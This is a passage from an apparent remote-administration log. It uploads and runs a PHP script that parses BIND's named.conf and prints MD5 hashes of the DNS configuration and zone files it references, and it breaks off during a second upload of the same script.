MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 13:11:35: Establishing a connection
2026-04-24 13:11:35: 

PUT: /tmp/pkp909724

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 13:11:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp909724; rm /tmp/pkp909724'

2026-04-24 13:11:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 13:13:56: Establishing a connection
2026-04-24 13:13:57: 

PUT: /tmp/pkp321147

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
